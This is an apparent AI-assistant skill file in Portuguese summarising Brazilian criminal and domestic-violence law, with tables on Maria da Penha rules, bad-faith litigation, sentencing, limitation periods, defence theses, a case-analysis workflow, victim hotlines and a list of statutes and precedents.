| **Injuria — razao genero** | Art. 140, par. 3 CP (Lei 14.994/2024) | Penas dobradas | Publica incondicionada (viol. dom.) |
| **Calunia — razao genero** | Art. 138 CP (Lei 14.994/2024) | Penas dobradas | Publica incondicionada (viol. dom.) |
| **Difamacao — razao genero** | Art. 139 CP (Lei 14.994/2024) | Penas dobradas | Publica incondicionada (viol. dom.) |
| **Estupro** | Art. 213 CP | 6-10 anos reclusao | Publica incondicionada |
| **Estupro de vulneravel** | Art. 217-A CP | 8-15 anos reclusao | Publica incondicionada |
| **Registro nao autorizado intimidade** | Art. 216-B CP | 6 meses - 1 ano detencao + multa | Publica incondicionada |
## 3.2 Vedacoes Processuais Em Violencia Domestica
O que **NAO** se aplica em casos de violencia domestica contra a mulher:
| Vedacao | Base Legal |
|---------|-----------|
| Nao aplica Lei 9.099/95 (JECrim) | Art. 41 Lei 11.340 |
| Nao aplica transacao penal | Art. 41 Lei 11.340 |
| Nao aplica suspensao condicional do processo | Sumula 536 STJ |
| Nao aplica composicao civil como extintiva | Art. 41 Lei 11.340 |
| Nao aplica principio da insignificancia | Sumula 589 STJ |
| Nao aplica substituicao por restritivas de direitos | Sumula 588 STJ |
| Nao se exige coabitacao | Sumula 600 STJ |
---
## 4.1 Condutas (Art. 80 Cpc)
| Inciso | Conduta |
|--------|---------|
| **I** | Deduzir pretensao ou defesa contra texto expresso de lei ou fato incontroverso |
| **II** | Alterar a verdade dos fatos |
| **III** | Usar do processo para conseguir objetivo ilegal |
| **IV** | Opor resistencia injustificada ao andamento do processo |
| **V** | Proceder de modo temerario |
| **VI** | Provocar incidente manifestamente infundado |
| **VII** | Interpor recurso com intuito manifestamente protelatorio |
## 4.2 Sancoes (Art. 81 Cpc)
| Sancao | Detalhamento |
|--------|-------------|
| **Multa** | Superior a 1% e inferior a 10% do valor corrigido da causa |
| **Indenizacao** | Perdas e danos a parte contraria |
| **Honorarios** | Pagamento de honorarios advocaticios |
| **Despesas** | Reembolso de todas as despesas processuais |
## 4.3 Aplicacao No Processo Penal — Divergencia Jurisprudencial
| Tribunal | Posicao | Fundamento |
|----------|---------|-----------|
| **STJ** | Nao cabe multa por ma-fe no processo penal | Sem previsao no CPP; analogia in malam partem vedada |
| **STF** | Cabe multa em caso de abuso do direito de recorrer | Distorcao do postulado da ampla defesa; aplicacao subsidiaria CPC |
## 4.4 Requisitos Para Configuracao
| Requisito | Descricao |
|-----------|-----------|
| **Dolo** | Intencao deliberada de agir de ma-fe (nao basta negligencia) |
| **Tipicidade** | Conduta deve se enquadrar em um dos incisos do Art. 80 |
| **Prejuizo** | Demonstracao de dano a parte contraria ou ao processo |
| **Nexo causal** | Ligacao entre a conduta e o dano |
## 4.5 Consequencias Praticas
| Ambito | Consequencia |
|--------|-------------|
| **Processual** | Multa + indenizacao + honorarios |
| **Etico (OAB)** | Representacao no TED/OAB por infidelidade processual |
| **Criminal** | Se envolver fraude processual → Art. 347 CP |
| **Pessoal** | Responsabilidade solidaria entre advogado e cliente (se coautoria) |
---
## 5.1 Fraude Processual (Art. 347 Cp)
```
Art. 347. Inovar artificiosamente, na pendencia de processo civil
ou administrativo, o estado de lugar, de coisa ou de pessoa,
com o fim de induzir a erro o juiz ou o perito.
Pena — detencao de 3 meses a 2 anos, e multa.
Paragrafo unico. Se a inovacao se destina a produzir efeito
em processo penal, ainda que nao iniciado, a pena e aplicada
em DOBRO.
```
## 5.2 Elementos Do Crime
| Elemento | Descricao |
|----------|-----------|
| **Conduta** | Inovar artificiosamente o estado de lugar, coisa ou pessoa |
| **Dolo especifico** | Intencao de induzir a erro juiz ou perito |
| **Momento** | Na pendencia de processo (ou antes, se penal) |
| **Crime formal** | Consuma-se com a inovacao, independente de resultado |
| **Tentativa** | Admissivel |
| **Acao penal** | Publica incondicionada |
## 5.3 Crimes Conexos A Ardilosidade
| Crime | Artigo CP | Pena | Descricao |
|-------|----------|------|-----------|
| **Denunciacao caluniosa** | Art. 339 | 2-8 anos reclusao + multa | Imputar crime a inocente |
| **Comunicacao falsa de crime** | Art. 340 | 1-6 meses detencao + multa | Comunicar crime inexistente |
| **Auto-acusacao falsa** | Art. 341 | 3 meses - 2 anos detencao + multa | Acusar-se de crime inexistente |
| **Falso testemunho** | Art. 342 | 2-4 anos reclusao + multa | Mentir em juizo |
| **Coacao no processo** | Art. 344 | 1-4 anos reclusao + multa | Violencia/ameaca processual |
| **Exercicio arbitrario** | Art. 345 | 15 dias - 1 mes detencao + multa | Fazer justica com proprias maos |
| **Fraude processual** | Art. 347 | 3 meses - 2 anos detencao + multa | Inovar artificiosamente |
| **Favorecimento pessoal** | Art. 348 | 1-6 meses detencao + multa | Auxiliar fuga de criminoso |
| **Favorecimento real** | Art. 349 | 1-6 meses detencao + multa | Assegurar produto de crime |
## 5.4 Ardilosidade Como Agravante
A ardilosidade pode funcionar como:
- **Agravante generica** (Art. 61, II, "c" CP) — crime cometido a traicao, emboscada, **mediante dissimulacao** ou outro recurso que dificultou a defesa da vitima
- **Qualificadora do homicidio** (Art. 121, par. 2, IV) — a traicao, emboscada, **dissimulacao** ou outro recurso que dificulte a defesa da vitima
- **Causa de aumento** no estelionato (Art. 171, par. 1) — contra idoso
---
## 6.1 Sistema Trifasico (Art. 68 Cp)
```
FASE 1: Pena-base (Art. 59 CP — circunstancias judiciais)
→ Culpabilidade, antecedentes, conduta social, personalidade,
motivos, circunstancias, consequencias, comportamento vitima
→ Resultado: entre o minimo e maximo legal
FASE 2: Circunstancias agravantes e atenuantes
→ Agravantes (Arts. 61-62) e Atenuantes (Arts. 65-66)
→ NAO pode ultrapassar os limites legais (Sumula 231 STJ)
FASE 3: Causas de aumento e diminuicao
→ Majorantes e minorantes (partes especial e geral)
→ PODE ultrapassar os limites legais
```
## 6.2 Tabela De Agravantes Relevantes (Art. 61 Cp)
| Agravante | Inciso | Relevancia |
|-----------|--------|-----------|
| Reincidencia | I | Obrigatoria |
| Motivo futil ou torpe | II-a | Feminicidio, violencia domestica |
| Traicao, emboscada, dissimulacao | II-c | Ardilosidade |
| Meio cruel, insidioso | II-d | Violencia agravada |
| Contra ascendente, descendente, conjuge | II-e | Violencia familiar |
| Abuso de autoridade/poder | II-f/g | Relacao domestica |
| Contra crianca, idoso, enfermo, gestante | II-h | Vulnerabilidade |
| Em violacao de medida protetiva | II (interpretacao) | Maria da Penha |
## 6.3 Regimes De Cumprimento
| Regime | Pena | Condicoes |
|--------|------|-----------|
| **Fechado** | > 8 anos | Obrigatorio para reincidentes com pena > 4 anos |
| **Semiaberto** | > 4 e <= 8 anos | Primario |
| **Aberto** | <= 4 anos | Primario |
| **Fechado** (hediondo) | Qualquer pena | Feminicidio — inicio obrigatorio em fechado |
## 6.4 Progressao De Regime (Lei 13.964/2019 — Pacote Anticrime)
| Crime | Primario | Reincidente | Reincidente especifico |
|-------|---------|------------|----------------------|
| Comum | 16% | 20% | — |
| Com violencia/grave ameaca | 25% | 30% | — |
| Hediondo (sem morte) | 40% | 50% | 60% |
| **Hediondo com morte (feminicidio)** | **50%** | **60%** | **70%** |
| Comando organizacao criminosa | 50% | 60% | 70% |
---
## 7.1 Tabela De Prescricao (Art. 109 Cp)
| Pena maxima cominada | Prazo prescricional |
|---------------------|-------------------|
| Inferior a 1 ano | 3 anos |
| 1 a 2 anos | 4 anos |
| 2 a 4 anos | 8 anos |
| 4 a 8 anos | 12 anos |
| 8 a 12 anos | 16 anos |
| Superior a 12 anos | 20 anos |
## 7.2 Imprescritibilidade
| Crime | Base |
|-------|------|
| Racismo | Art. 5, XLII CF |
| Acao de grupos armados contra o Estado | Art. 5, XLIV CF |
**Feminicidio**: NAO e imprescritivel, mas prazo e de **20 anos** (pena maxima > 12 anos).
## 7.3 Causas De Suspensao E Interrupcao
| Tipo | Causas |
|------|--------|
| **Suspensao** | Questao prejudicial, parlamentar, sursis processual, citacao por edital |
| **Interrupcao** | Recebimento da denuncia, pronuncia, decisao confirmatoria da pronuncia, publicacao sentenca/acordao condenatorio, inicio/continuacao do cumprimento, reincidencia |
---
## 8.1 Teses De Defesa — Violencia Domestica
| Tese | Fundamento | Viabilidade |
|------|-----------|-------------|
| Legitima defesa | Art. 25 CP | Baixa em violencia domestica (proporcionalidade) |
| Ausencia de dolo | Elemento subjetivo | Media — depende de provas |
| Desclassificacao (lesao → vias de fato) | CPP | Media — depende de laudo |
| Atipicidade da conduta | Fato nao constitui crime | Baixa (Sumula 589 STJ veda insignificancia) |
| Retratacao da vitima | Art. 16 Lei 11.340 | Limitada — so vale para condicionadas |
| Nulidade processual | Cerceamento defesa | Media — depende de vicio |
| Insuficiencia probatoria | In dubio pro reo | Alta — principio constitucional |
## 8.2 Teses De Acusacao — Violencia Domestica
| Tese | Fundamento | Efetividade |
|------|-----------|-------------|
| Palavra da vitima como prova | Jurisprudencia STJ consolidada | Alta — crimes de clandestinidade |
| Contexto de dominacao | Art. 5 Lei 11.340 | Alta |
| Historico de violencia | Reiteracao | Alta — padrao de conduta |
| Laudos periciais | IML, psicologico | Alta — prova tecnica |
| Descumprimento reiterado | Art. 24-A | Alta — agravante |
## 8.3 Teses De Defesa — Crimes Em Geral
| Tese | Fundamento |
|------|-----------|
| Legitima defesa | Art. 25 CP |
| Estado de necessidade | Art. 24 CP |
| Estrito cumprimento do dever legal | Art. 23, III CP |
| Exercicio regular de direito | Art. 23, III CP |
| Erro de tipo | Art. 20 CP |
| Erro de proibicao | Art. 21 CP |
| Coacao irresistivel | Art. 22 CP |
| Obediencia hierarquica | Art. 22 CP |
| Inimputabilidade | Art. 26 CP |
| Embriaguez involuntaria completa | Art. 28, par. 1 CP |
| Arrependimento posterior | Art. 16 CP |
| Crime impossivel | Art. 17 CP |
| Desistencia voluntaria | Art. 15 CP |
| Prescricao | Art. 109 CP |
---
## 9.1 Tipos De Prisao
| Tipo | Base Legal | Requisitos |
|------|-----------|-----------|
| **Flagrante** | Art. 301-310 CPP | Crime em andamento ou acabou de ocorrer |
| **Preventiva** | Art. 311-316 CPP | Garantia da ordem publica, conveniencia instrucao, aplicacao lei penal |
| **Temporaria** | Lei 7.960/89 | Imprescindivel para investigacao (5 dias + 5, ou 30+30 se hediondo) |
| **Definitiva** | Transito em julgado | Sentenca condenatoria irrecorrivel |
## 9.2 Prisao Preventiva Em Violencia Domestica
| Aspecto | Detalhe |
|---------|---------|
| **Previsao especifica** | Art. 313, III CPP — garantir medidas protetivas |
| **Decretacao** | De oficio (fase processual) ou a requerimento do MP/querelante/assistente/autoridade policial |
| **Audiencia de custodia** | Obrigatoria em 24h (Art. 310 CPP) |
| **Revogacao** | A qualquer tempo se cessar o motivo |
| **Substituicao** | Cautelares diversas (Art. 319 CPP) |
## 9.3 Habeas Corpus
| Hipotese | Art. 648 CPP |
|----------|-------------|
| **I** | Sem justa causa |
| **II** | Excesso de prazo |
| **III** | Incompetencia de quem ordenou a coacao |
| **IV** | Cessou o motivo da coacao |
| **V** | Nao admitida fianca (quando devia) |
| **VI** | Processo manifestamente nulo |
| **VII** | Extinta a punibilidade |
---
## Modulo 10 — Workflow Completo De Analise De Caso Criminal
Ao receber um caso criminal para analise, siga SEMPRE estas 10 etapas:
## Etapa 1 — Enquadramento Do Fato
- Tipo penal (qual crime?)
- Base legal (qual artigo do CP/legislacao especial?)
- Classificacao: doloso/culposo, tentado/consumado, comum/especial/hediondo
## Etapa 2 — Sujeitos
- Sujeito ativo (quem praticou?)
- Sujeito passivo (quem sofreu?)
- Relacao entre eles (domestica, profissional, desconhecidos)
- Vulnerabilidade da vitima
## Etapa 3 — Materialidade E Autoria
- Provas da materialidade (laudo, B.O., fotos, prontuario medico)
- Provas da autoria (testemunhas, cameras, confissao, digitais)
- Indicio suficientes para denuncia?
## Etapa 4 — Circunstancias
- Agravantes e atenuantes aplicaveis
- Causas de aumento e diminuicao
- Concurso de crimes (material, formal, continuado)
## Etapa 5 — Dosimetria Estimada
- Pena-base estimada (Fase 1)
- Agravantes/atenuantes (Fase 2)
- Majorantes/minorantes (Fase 3)
- Regime inicial provavel
## Etapa 6 — Questoes Processuais
- Competencia (vara criminal, juri, JECrim, violencia domestica)
- Acao penal (publica condicionada, incondicionada, privada)
- Prisao em flagrante? Preventiva? Temporaria?
- Medidas cautelares aplicaveis
## Etapa 7 — Teses Disponiveis
- Para defesa: quais teses viáveis?
- Para acusacao: quais os pontos fortes?
- Jurisprudencia relevante
## Etapa 8 — Riscos E Cenarios
- Cenario otimista (absolvicao, desclassificacao)
- Cenario base (condenacao com atenuantes)
- Cenario pessimista (condenacao no maximo legal)
## Etapa 9 — Estrategia Recomendada
- Acordo (ANPP se cabivel — Art. 28-A CPP)
- Defesa em julgamento
- Negociacao com MP
- Recursos possiveis
## Etapa 10 — Veredicto Tecnico
```
CASO: _______________
CRIME: ______________
BASE LEGAL: _________
DOSIMETRIA ESTIMADA:
Pena-base: ___________
Agravantes/atenuantes: ___________
Majorantes/minorantes: ___________
PENA FINAL ESTIMADA: ___________
REGIME: ___________
PRESCRICAO: ___________
CENARIO MAIS PROVAVEL: ___________
RISCO: [ ] BAIXO [ ] MEDIO [ ] ALTO [ ] MUITO ALTO
RECOMENDACAO:
[ ] ACORDO/ANPP
[ ] DEFESA EM JULGAMENTO (tese: ___________)
[ ] RECURSO
[ ] HABEAS CORPUS
[ ] MEDIDA PROTETIVA (se vitima)
OBSERVACOES: ___________
```
---
## Restricoes Absolutas
- Nunca inventar leis, artigos, sumulas ou decisoes judiciais
- Nunca minimizar violencia domestica ou culpabilizar a vitima
- Nunca aconselhar destruicao de provas ou obstrucao da justica
- Nunca garantir resultado de julgamento
- Sempre recomendar busca por advogado presencial quando necessario
- Quando houver divergencia jurisprudencial, expor as duas correntes
- Sinalizar quando a analise depende de documentos especificos nao fornecidos
---
## Vitima De Violencia Domestica
- Linguagem acolhedora e empática
- Foco em direitos e protecao imediata
- Informar canais de ajuda: 180 (Central da Mulher), 190 (PM), DEAM
- Orientar sobre medidas protetivas
- Nunca culpabilizar
## Acusado/Reu
- Analise tecnica imparcial dos fatos
- Teses defensivas disponiveis
- Direitos constitucionais (ampla defesa, contraditorio, presuncao de inocencia)
- Orientar sobre consequencias possiveis
- Recomendar advogado criminalista
## Advogado Profissional
- Linguagem tecnica plena
- Jurisprudencia com numero de recurso
- Teses com fundamentacao doutrinaria
- Estrategia processual detalhada
- Prazos processuais relevantes
---
## Governanca
Esta skill implementa as seguintes politicas:
- **action_log**: Cada analise criminal e registrada para rastreabilidade
- **rate_limit**: Controle via check_rate integrado ao ecossistema
- **requires_confirmation**: Analises com risco de prisao geram confirmation_request
- **warning_threshold**: Alertas quando risco processual e alto
- **Responsavel:** Ecossistema de Skills Juridicas
- **Escopo:** Direito Penal, Processual Penal, Maria da Penha, Litigancia de Ma-Fe
- **Limitacoes:** Nao substitui advogado presencial. Analise baseada em dados fornecidos.
- **Auditoria:** Validada por skill-sentinel
- **Dados sensiveis:** Nao armazena dados processuais ou pessoais
---
## Legislacao Principal
- **Codigo Penal** (Decreto-Lei 2.848/1940)
- **Codigo de Processo Penal** (Decreto-Lei 3.689/1941)
- **Constituicao Federal** (1988) — Arts. 5 (direitos fundamentais)
- **Lei 11.340/2006** — Lei Maria da Penha
- **Lei 14.994/2024** — Pacote Antifeminicidio
- **Lei 14.188/2021** — Violencia psicologica + Sinal Vermelho
- **Lei 14.132/2021** — Stalking/Perseguicao
- **Lei 13.641/2018** — Descumprimento de medida protetiva
- **Lei 15.125/2025** — Monitoramento eletronico
- **Lei 15.280/2025** — Medidas protetivas para crimes sexuais
- **Lei 8.072/1990** — Crimes hediondos
- **Lei 13.964/2019** — Pacote Anticrime
- **Lei 9.099/1995** — Juizados Especiais (inaplicavel a viol. domestica)
## Sumulas Stj (Penal/Maria Da Penha)
- Sumulas 536, 542, 588, 589, 600
## Jurisprudencia
- STJ — Feminicidio natureza objetiva da qualificadora
- STJ — Vitima pode recorrer medida protetiva
- STJ — Dano moral minimo em violencia domestica (Tema 983)
- STJ — Vulnerabilidade presumida em violencia domestica
- STF — Multa por litigancia de ma-fe em processo penal (divergencia)
---
## 11.1 Previsao Legal (Art. 28-A Cpp — Lei 13.964/2019)
```
Art. 28-A. Nao sendo caso de arquivamento e tendo o investigado
CONFESSADO formal e circunstancialmente a pratica de infracao penal
sem violencia ou grave ameaca e com pena minima inferior a 4 anos,
o MP podera propor ANPP.
```
## 11.2 Requisitos Cumulativos
| # | Requisito | Detalhe |
|---|-----------|---------|
| 1 | Confissao formal e circunstanciada | Perante o MP, com advogado |
| 2 | Pena minima < 4 anos | Da infracao, nao do tipo |
| 3 | Sem violencia ou grave ameaca | **Veda ANPP em Maria da Penha** |
| 4 | Nao ser caso de arquivamento | Deve haver justa causa |
| 5 | Nao ser cabivel transacao penal | Lei 9.099/95 |
## 11.3 Impedimentos
| Impedimento | Base |
|-------------|------|
| Reincidente | Art. 28-A, par. 2, I |
| Beneficiario de ANPP/transacao/sursis nos ultimos 5 anos | Art. 28-A, par. 2, II |
| Crime de violencia domestica | Art. 28-A, par. 2, IV |
| Elementos indicam conduta criminal habitual | Art. 28-A, par. 2, III |
## 11.4 Condicoes Ajustaveis (Par. 1)
| Condicao | Descricao |
|----------|-----------|
| **I** | Reparacao do dano ou restituicao da coisa a vitima (salvo impossibilidade) |
| **II** | Renuncia a bens/direitos como instrumento, produto ou proveito do crime |
| **III** | Prestacao de servicos a comunidade (por periodo proporcional a pena minima) |
| **IV** | Pagamento de prestacao pecuniaria a entidade publica/privada |
| **V** | Cumprir outra condicao indicada pelo MP desde que proporcional |
## 11.5 Impacto Para A Defesa
- ANPP **nao gera antecedentes** criminais
- ANPP **nao e condenacao** — e acordo pre-processual
- Descumprimento → MP oferece denuncia (retoma acao penal)
- Cumprimento integral → extincao da punibilidade
- **NAO cabe em violencia domestica** (Art. 28-A, par. 2, IV CPP)
---
## 12.1 Tabela Comparativa
| Crime | Artigo | Pena | Acao Penal | Observacoes |
|-------|--------|------|-----------|-------------|
| **Furto simples** | Art. 155 | 1-4 anos reclusao + multa | Publica incondicionada | Cabe insignificancia |
| **Furto qualificado** | Art. 155, par. 4 | 2-8 anos reclusao + multa | Publica incondicionada | Escalada, destreza, chave falsa, concurso |
| **Furto privilegiado** | Art. 155, par. 2 | Substituicao/reducao | Publica incondicionada | Primario + pequeno valor |
| **Roubo simples** | Art. 157 | 4-10 anos reclusao + multa | Publica incondicionada | Violencia ou grave ameaca |
| **Roubo majorado** | Art. 157, par. 2 | Aumento 1/3 a 2/3 | Publica incondicionada | Arma, concurso, transporte |
| **Latrocinio** | Art. 157, par. 3, II | 20-30 anos reclusao | Publica incondicionada | Crime hediondo |
| **Extorsao** | Art. 158 | 4-10 anos reclusao + multa | Publica incondicionada | Constranger + vantagem |
| **Estelionato** | Art. 171 | 1-5 anos reclusao + multa | Condicionada (regra) | Ardil, artificio, induzir erro |
| **Estelionato eletronico** | Art. 171, par. 2-A | 4-8 anos reclusao + multa | Publica incondicionada | Fraude eletronica |
| **Apropriacao indebita** | Art. 168 | 1-4 anos reclusao + multa | Publica incondicionada | Apropriar coisa alheia movel |
| **Receptacao** | Art. 180 | 1-4 anos reclusao + multa | Publica incondicionada | Adquirir produto de crime |
## 12.2 Estelionato — Representacao (Lei 13.964/2019)
Apos o Pacote Anticrime, o estelionato passou a ser de **acao penal publica condicionada a representacao**, EXCETO quando a vitima for:
- Administracao publica
- Crianca ou adolescente
- Pessoa com deficiencia mental
- Maior de 70 anos
- Praticado em meio eletronico (Art. 171, par. 2-A)
---
## 13.1 Uso Vs Trafico
| Aspecto | Uso (Art. 28) | Trafico (Art. 33) |
|---------|--------------|-------------------|
| **Pena** | Advertencia, PSC, medida educativa | 5-15 anos reclusao + multa |
| **Prisao** | Nao preve prisao | Preve prisao |
| **Fianca** | N/A | Inafiancavel (hediondo equiparado) |
| **Sursis processual** | Cabivel | Incabivel |
| **Liberdade provisoria** | N/A | STF permite (HC 104.339) |
| **Criterios de distincao** | Art. 28, par. 2: natureza, quantidade, local, circunstancias, conduta, antecedentes | Inverso dos criterios do Art. 28 |
## 13.2 Trafico Privilegiado (Art. 33, Par. 4)
```
Primario + bons antecedentes + nao integra organizacao criminosa
→ Reducao de 1/6 a 2/3 da pena
→ NAO e hediondo (STF — HC 118.533)
→ Regime inicial pode ser aberto ou semiaberto
```
## 13.3 Associacao Para Trafico (Art. 35)
| Aspecto | Detalhe |
|---------|---------|
| **Pena** | 3-10 anos reclusao + multa |
| **Requisito** | 2+ pessoas associadas para trafico |
| **Diferenca de organizacao criminosa** | Organizacao exige 4+ pessoas (Lei 12.850/2013) |
| **Hediondo** | Nao (STJ consolidou) |
---
## 14.1 Estrategias Ardilosas Mais Comuns No Criminal
| # | Estrategia Ardilosa | Crime/Sancao | Como Identificar |
|---|-------------------|-------------|-----------------|
| 1 | Inventar agressoes para obter medida protetiva | Denuncia caluniosa (Art. 339 CP) | Contraditorias entre B.O. e laudo IML |
| 2 | Ocultar provas favoraveis ao reu | Fraude processual (Art. 347 CP) | Pericia de metadados, testemunhas |
| 3 | Falsificar laudos medicos | Falsidade ideologica (Art. 299 CP) | Contrapericia, prontuario hospitalar |
| 4 | Aliciar testemunhas | Falso testemunho (Art. 342 CP) | Contraditorias, acareacao |
| 5 | Interpor HC/recursos manifestamente improcedentos | Ma-fe processual (Art. 80, VII CPC) | Repeticao de teses ja rejeitadas |
| 6 | Alterar local do crime | Fraude processual (Art. 347 CP — pena em dobro) | Pericia tecnica, cameras |
| 7 | Forjar flagrante (plantar drogas) | Denuncia caluniosa + abuso autoridade | Cameras corporais, testemunhas |
| 8 | Simular insanidade mental | Fraude processual + estelionato judicial | Laudo psiquiatrico oficial |
| 9 | Usar processo penal para cobrar divida | Exercicio arbitrario (Art. 345 CP) | Analise da pretensao real |
| 10 | Abusar de medida protetiva para afastar de imovel | Litigancia de ma-fe + locupletamento | Contexto patrimonial vs violencia |
## 14.2 Defesa Contra Acusacao Ardilosa
| Situacao | Medida Defensiva | Base Legal |
|----------|-----------------|-----------|
| Denuncia caluniosa | Representacao criminal + indenizacao | Art. 339 CP + Art. 953 CC |
| Falso B.O. | Representacao + juntada de provas | Art. 340 CP |
| Testemunha falsa | Contraditorio + acareacao + Art. 342 CP | CPP |
| Laudo forjado | Contrapericia oficial | Art. 182 CPP |
| Medida protetiva indevida | Revogacao + HC se necessario | Art. 19, par. 3 Lei 11.340 |
## 14.3 Denuncia Caluniosa Em Contexto De Maria Da Penha
**Situacao delicada**: quando a suposta vitima forja agressao para obter vantagens (guarda, imovel, pensao).
**Ponto de atencao:**
- A palavra da vitima tem peso especial em violencia domestica (crimes de clandestinidade)
- Alegar falsidade exige **provas robustas** (nao basta negar)
- Risco de revitimizacao se alegacao infundada
- Se comprovada falsidade: Art. 339 CP (denuncia caluniosa) — 2-8 anos reclusao
**Provas que podem demonstrar falsidade:**
- Laudo IML negativo / incompativel com alegacoes
- Mensagens contraditorias (WhatsApp, SMS)
- Cameras de seguranca
- Testemunhas presenciais
- Alibi comprovado (geolozalizacao, cartao, cameras)
- Historico de litigios patrimoniais entre as partes
---
## 15.1 Beneficios Na Execucao
| Beneficio | Requisito Temporal | Requisito Subjetivo |
|-----------|-------------------|-------------------|
| **Progressao (comum)** | 16% (primario) / 20% (reincidente) | Bom comportamento |
| **Progressao (violencia)** | 25% (primario) / 30% (reincidente) | Bom comportamento |
| **Progressao (hediondo s/ morte)** | 40% / 50% / 60% | Bom comportamento |
| **Progressao (hediondo c/ morte)** | 50% / 60% / 70% | Bom comportamento |
| **Livramento condicional** | 1/3 (primario) / 1/2 (reincidente) | Bom comportamento + reparacao dano |
| **Livramento (hediondo)** | 2/3 + nao reincidente especifico | Bom comportamento |
| **Saida temporaria** | 1/6 (semiaberto) | Bom comportamento |
| **Trabalho externo** | 1/6 (semiaberto) | Aptidao, disciplina |
| **Remicao** | 3 dias trabalho = 1 dia pena | Trabalho ou estudo |
| **Indulto** | Decreto presidencial | Conforme decreto anual |
## 15.2 Detracoes E Remicao
- **Detracao** (Art. 42 CP): tempo de prisao provisoria e internacao abatido da pena definitiva
- **Remicao por trabalho** (Art. 126 LEP): 3 dias de trabalho = 1 dia de pena
- **Remicao por estudo** (Art. 126, par. 1, I LEP): 12 horas de estudo = 1 dia de pena
- **Remicao por leitura** (Recomendacao 44/2013 CNJ): 1 livro/30 dias = 4 dias de pena (max 12/ano)
---
## Para Vitimas De Violencia Domestica
| Canal | Numero/Acesso | Disponibilidade |
|-------|--------------|----------------|
| **Central de Atendimento a Mulher** | **180** | 24h, gratuito, sigilo |
| **Policia Militar** | **190** | 24h |
| **SAMU** | **192** | 24h (se lesao) |
| **Delegacia da Mulher (DEAM)** | Presencial | Horario comercial (varia) |
| **Defensoria Publica** | Presencial / 129 | Horario comercial |
| **CRAM** | Centro de Referencia | Horario comercial |
| **Casa da Mulher Brasileira** | Presencial (capitais) | Horario estendido |
| **Justica Itinerante** | Movel (areas remotas) | Calendario |
| **Sinal Vermelho** | X na mao em farmacias | Horario do estabelecimento |
| **Denuncia online** | delegaciaeletronica.policiacivil.sp.gov.br | 24h (varia por estado) |
## Para Acusados Que Buscam Defesa
| Canal | Acesso |
|-------|--------|
| **Defensoria Publica** | Gratuito para hipossuficientes |
| **OAB — Assistencia Judiciaria** | Nucleo de pratica juridica |
| **Advogado dativo** | Nomeado pelo juiz quando sem defesa |
---
## Instalacao
Skill baseada em conhecimento (knowledge-only). Nao requer instalacao de dependencias.
```bash
## Verificar Se A Skill Esta Registrada:
python C:\Users\renat\skills\agent-orchestrator\scripts\scan_registry.py
```
---
## Comandos E Uso
```bash
## Via Orchestrator (Automatico):
python agent-orchestrator/scripts/match_skills.py "caso criminal"
## "O Que E Ardilosidade Processual?"
```
## Best Practices
- Provide clear, specific context about your project and requirements
- Review all suggestions before applying them to production code
- Combine with other complementary skills for comprehensive analysis
## Common Pitfalls
- Using this skill for tasks outside its domain expertise
- Applying recommendations without understanding your specific context
- Not providing enough project context for accurate analysis
## Related Skills
- `advogado-especialista` - Complementary skill for enhanced analysis
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,143 @@
---
type: "always_apply"
---
# Referencias e Fontes — Advogado Especialista Elite
## Legislacao Federal (Ordem Cronologica)
### Constituicao e Codigos
- Constituicao Federal de 1988 (com emendas ate 2025)
- Codigo Civil — Lei 10.406/2002
- Codigo de Processo Civil — Lei 13.105/2015
- Codigo Penal — Decreto-Lei 2.848/1940
- Codigo de Processo Penal — Decreto-Lei 3.689/1941
- CLT — Decreto-Lei 5.452/1943
- Codigo de Defesa do Consumidor — Lei 8.078/1990
- Codigo Tributario Nacional — Lei 5.172/1966
### Leis Especiais — Familia
- Lei 5.478/1968 — Alimentos
- Lei 6.515/1977 — Divorcio (parcialmente revogada)
- Lei 8.560/1992 — Investigacao de paternidade
- Lei 9.278/1996 — Uniao estavel
- Lei 11.441/2007 — Divorcio/inventario extrajudicial
- Lei 11.804/2008 — Alimentos gravidicos
- Lei 12.318/2010 — Alienacao parental
- Lei 12.398/2011 — Direito de visita dos avos
- Lei 13.058/2014 — Guarda compartilhada
- EC 66/2010 — Divorcio direto
### Leis Especiais — Criminal/Maria da Penha
- Lei 11.340/2006 — Maria da Penha
- Lei 13.641/2018 — Descumprimento medida protetiva
- Lei 14.132/2021 — Stalking
- Lei 14.188/2021 — Violencia psicologica
- Lei 14.994/2024 — Pacote Antifeminicidio
- Lei 15.125/2025 — Monitoramento eletronico
- Lei 15.280/2025 — Medidas protetivas crimes sexuais
- Lei 8.072/1990 — Crimes hediondos
- Lei 13.964/2019 — Pacote Anticrime
- Lei 11.343/2006 — Lei de Drogas
### Leis Especiais — Imobiliario
- Lei 6.015/1973 — Registros Publicos
- Lei 4.591/1964 — Condominio/incorporacao
- Lei 8.245/1991 — Inquilinato
- Lei 9.514/1997 — Alienacao fiduciaria
- Lei 8.009/1990 — Bem de familia
- Lei 10.257/2001 — Estatuto da Cidade
- Lei 13.465/2017 — REURB
### Leis Especiais — Trabalhista/Previdenciario
- Lei 8.213/1991 — Beneficios previdenciarios
- Lei 8.036/1990 — FGTS
- Lei 4.090/1962 — 13o salario
- Lei 12.506/2011 — Aviso previo proporcional
- EC 103/2019 — Reforma previdenciaria
### Leis Especiais — Digital/Empresarial/Administrativo
- Lei 13.709/2018 — LGPD
- Lei 12.965/2014 — Marco Civil da Internet
- Lei 6.404/1976 — Sociedades anonimas
- Lei 11.101/2005 — Recuperacao judicial e falencia
- Lei 8.429/1992 — Improbidade administrativa (alterada pela Lei 14.230/2021)
- Lei 14.133/2021 — Nova lei de licitacoes
- Lei 6.830/1980 — Execucao fiscal
- Lei 12.016/2009 — Mandado de seguranca
### Leis Especiais — Consumidor/Responsabilidade
- Lei 8.078/1990 — CDC
- Lei 13.718/2018 — Revenge porn
- Lei 12.737/2012 — Crimes informaticos (Carolina Dieckmann)
## Jurisprudencia Consolidada
### STJ — Familia
- Sumula 301: Recusa DNA = presuncao paternidade
- Sumula 309: Prisao civil = ultimos 3 meses de alimentos
- Sumula 336: Alimentos devidos desde citacao
- Sumula 364: Bem de familia protege solteiro/viuvo
- Sumula 377 STF: Separacao obrigatoria — aquestos comunicam
- Sumula 596: Alimentos transitivos entre ex-conjuges
- REsp 1.954.279: Alimentos compensatorios
- REsp 1.629.994: Guarda compartilhada nao exclui alimentos
### STJ — Responsabilidade Civil
- Sumula 37: Cumulacao dano moral + material
- Sumula 227: PJ pode sofrer dano moral
- Sumula 370: Cirurgia plastica = obrigacao de resultado
- Sumula 385: Negativacao anterior exclui novo dano moral
- Sumula 387: Cumulacao dano estetico + dano moral
- Tema 983: Dano moral minimo em violencia domestica
### STJ — Consumidor
- Sumula 297: CDC aplica-se a bancos
